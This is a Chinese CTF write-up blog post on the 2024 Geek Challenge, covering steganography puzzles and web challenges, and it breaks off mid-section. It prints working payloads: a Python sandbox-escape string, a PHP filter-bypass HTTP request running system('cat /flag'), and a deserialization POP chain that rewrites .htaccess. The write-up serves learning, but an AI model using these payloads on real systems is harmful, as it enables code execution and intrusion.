2024极客大挑战64题全解:从签到到逆向的实战WriteUp

1. 赛事概览与解题思路总览

大家好,我是超哥,这次和队友侠猫一起参加了第十五届极客大挑战,在长达一个月的赛程里,我们总共解出了64道题目,最终在校外赛道1069支队伍中排名第七。这个成绩还算不错,但更重要的是,我们积累了大量实战经验,踩过不少坑,也总结出很多高效的解题套路。今天这篇文章,我就想把这次比赛里遇到的各种题型,从最简单的签到题到复杂的逆向工程,用最通俗易懂的方式,把解题思路和操作步骤完整地分享给大家。不管你是刚接触CTF的新手,还是有一定经验想提升的选手,相信都能从中找到有用的东西。

这次比赛的题目覆盖面非常广,MISC、Web、PWN、Reverse、Crypto这些主流方向都有涉及,而且每道题的质量都不低,很多题目都需要结合多个知识点才能解决。我和侠猫分工合作,他主要负责Web和部分MISC,我则侧重PWN、Reverse和Crypto。在解题过程中,我们最大的感受就是,现在的CTF题目越来越注重实战性和综合性,单纯靠背知识点已经不够用了,必须要有灵活的思路和扎实的调试能力。接下来,我就按照题型分类,把每道题的解题过程详细拆解一遍,特别是那些容易卡住的关键点,我会重点说明。

2. MISC杂项:从签到到隐写的全方位实战

MISC题目往往是比赛的开胃菜,但这次比赛的MISC难度跨度很大,有简单的签到题,也有需要多种工具配合的复杂隐写题。我们先从最简单的开始。

2.1 签到与基础文件分析

比赛的签到题通常不会太难,主要是让选手熟悉比赛环境。这次的签到题是关注主办方公众号回复关键词获取flag,属于常规操作。但接下来的Welcome_jail就有点意思了,这是一道Python沙箱逃逸题。题目给了一个过滤列表,把importoseval这些危险函数和字符都禁用了。我第一眼看到这个限制,就想到了Python的__builtins__和字节码转换。我的绕过思路是这样的:既然不能直接写eval,那就用bytes数组构造出eval字符串,然后通过__builtins__.__dict__来调用。具体操作时,我先把__import__('os').popen('cat /home/ctf/flag').read()这串代码的每个字符转换成ASCII码,然后用bytes([101,118,97,108]).decode()得到"eval"字符串,最后拼接执行。实测下来,这种方法能稳定绕过过滤拿到flag。

文件分析类的题目也出现了好几次。比如Truth of Word这道题,给了一个.docx文件,很多人可能不知道,.docx本质上是个ZIP压缩包。我直接把文件后缀改成.zip,解压后在word/document.xml里全局搜索flag,很快就找到了。还有ez_pcap_1ez_pcap_2这两道流量分析题,前者直接在Wireshark里搜索SYC关键词就能在特定数据包找到flag,后者则需要分析HTTP请求中的特殊参数。做这类题的关键是要熟悉各种文件的真实格式,知道该用什么工具打开,该搜索什么关键词。

2.2 隐写术的多种玩法

隐写题是MISC的重头戏,这次比赛出现了图片隐写、音频隐写、文本隐写等多种形式。ez_jpg这道题挺典型的,题目给了一个flag.txt,里面是Base64编码的数据。我解码后发现是一串字节,尝试反转字节顺序后得到了一张图片。用Stegsolve打开图片没发现异常,但用010 Editor查看文件头,发现图片宽度被修改过。把宽度改成640后,flag就直接显示在图片里了。这里有个小技巧:JPEG图片的宽度信息存储在文件头的特定位置,修改这个值可能会影响图片的显示效果,从而隐藏信息。

snow隐写这道题比较复杂,需要多个步骤。首先是一个压缩包,用010 Editor打开发现末尾有VzNMQzBNNA==,Base64解码得到密码W3LC0M4。解压后得到一个图片和一个WaterMarkH.exe程序,这个程序是用来提取盲水印的。提取后得到whithe.txt,但这个文件其实是用snow隐写工具隐藏了信息。执行snow.exe -p Th1si4st8eK3y -C White.txt,最终拿到flag。整个过程涉及了压缩包分析、盲水印提取和snow隐写,需要选手对每种隐写工具都很熟悉。

音频隐写在乌龟这道题里出现了。题目给了一个音频文件,用SSTV(慢扫描电视)工具解码后得到一张图片,图片上写着密码Be4uti7ulSun5e7。然后用DeepSound工具,用这个密码解密音频文件,得到一个secret.txt。这个文件的内容是LOGO语言的绘图代码,需要用MSWLogo软件运行才能看到最终的flag。这种多步骤的隐写题,最重要的是保持清晰的思路,每一步的输出都是下一步的输入,要耐心地逐个破解。

3. Web安全:漏洞利用与代码审计实战

Web题目一直是CTF比赛的核心,这次比赛的Web题涵盖了RCE、反序列化、SSRF、文件包含、SQL注入等常见漏洞类型,而且很多题目都有多层过滤,需要巧妙绕过。

3.1 代码执行与反序列化漏洞

rce_me这道题是一个典型的PHP代码执行漏洞,但有多层过滤。题目首先检查$_POST["start"]是否包含"start now",但又用preg_matchstrpos做了矛盾的限制。我仔细分析后发现,可以通过start=start now加上换行符来绕过。然后是sha1和md5的弱类型比较,需要找到一个字符串,它的sha1值等于md5("Geekchallenge2024_bmKtL"),但本身又不是这个字符串。我用了aaK1STfY这个字符串,它满足条件。最后是$year的判断,要求intval($year) < 2024 && intval($year + 1) > 2025,这里可以用科学计数法1e9来绕过,因为intval(1e9)是1,小于2024,但intval(1e9+1)会变成1000000001,大于2025。最终的payload是这样的:

POST /?year=1e9&purpose=rce%0a&code=system('cat%20/flag'); HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: 49

start=start now&.[2024.geekchallenge.ctf=aaK1STfY

反序列化题目ezpopnot_just_pop都比较复杂,需要构造复杂的对象链来触发魔术方法。以ezpop为例,题目有三个类:SYCloverGeek,每个类都有特定的魔术方法。我的利用思路是通过lover__destruct触发Geek__toString,再触发SYC__call,最终写入.htaccess文件来执行任意代码。这里有个关键点:题目过滤了meimeng字符串,但PHP反序列化时可以用S加十六进制来表示字符串,比如S:7:"meimen\67"就能绕过过滤。构造好的payload是这样的:

O:5:"lover":2:{s:5:"J1rry";s:44:"data://text/plain,Welcome GeekChallenge 2024";S:7:"meimen\67";O:4:"Geek":1:{s:4:"GSBP";O:5:"lover":2:{s:5:"J1rry";N;S:7:"meimen\67";O:4:"Geek":1:{s:4:"GSBP";O:3:"SYC":1:{s:7:"starven";S:87:"php://filter/string.strip_tags/?>php_value auto_prepend_file /flag\0a\23/resource=.htaccess";}}}}}

3.2 文件包含与SSRF攻击

ez_include这道文件包含题有个有

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值